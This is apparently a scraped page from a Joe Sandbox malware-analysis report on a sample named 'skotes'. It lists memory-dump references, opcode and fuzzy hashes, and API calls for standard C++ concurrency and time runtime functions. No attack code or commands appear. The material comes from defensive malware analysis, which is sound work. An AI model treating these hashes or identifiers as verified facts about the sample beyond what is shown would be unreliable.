Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 7bc2f9fe84399125ef82986868ff823538c2486deb3d1b3eb19caf66fe0fa835
Instruction ID: f234fdfeceae5555be479467c4ae55dd667b479cf85c188dfe0c96b8de7caac8
Opcode Fuzzy Hash: 7bc2f9fe84399125ef82986868ff823538c2486deb3d1b3eb19caf66fe0fa835
Instruction Fuzzy Hash: 92414570600644ABCF19EB25EC86BBDBB79AF55720F14409DE4069B3C2CFB0AD45C790

Function 001E56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 001E56F2
_InternalDeleteHelper.LIBCONCRT ref: 001E5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 001E578B
SafeRWList.LIBCONCRT ref: 001E579A

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: b0513c2216b06f4fbd795ec752358801ba8d4cf4b7bb14354e52cf279f004303
Instruction ID: bacf7a35187962953c95bff9278b17474528b74b7b283e1826e4aa1ba8d5163f
Opcode Fuzzy Hash: b0513c2216b06f4fbd795ec752358801ba8d4cf4b7bb14354e52cf279f004303
Instruction Fuzzy Hash: FD314636B01A109FDF059F21D885EAD77A7AFC8714F188179EA069F395DF70AC058790

Function 001E2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 001E2D0F

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 084ddab383d2294c206715e65c08937202065f0ae003a036a2846a16d37e862e
Instruction ID: 56eb77674c9f99b986362e3c0bc227540899f5c592462f70b771749ee3f7d4a2
Opcode Fuzzy Hash: 084ddab383d2294c206715e65c08937202065f0ae003a036a2846a16d37e862e
Instruction Fuzzy Hash: 2C315975A00749DFCF14DF95C8D0AAE7BB9BF54310F1404AAEA01AB246D770A945CBA0

Function 001F13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001F13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 001F1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 001F147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 001F152A

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: a93a9f424059fabd420f035f450df10d69ee594439d42aff03be3552a4786741
Instruction ID: 8ed7cf3995499cb49a8e0fe8b88dd4acf4860c1494f791f941caa6769685ca8d
Opcode Fuzzy Hash: a93a9f424059fabd420f035f450df10d69ee594439d42aff03be3552a4786741
Instruction Fuzzy Hash: 5D316371E00A09EBCF14DFA9C4919FDF7B5BF98710B14822DE526A7391CB34A941CB90

Function 001DBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 001DBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 001DBBE4
_xtime_get.LIBCPMT ref: 001DBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 001DBC13

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
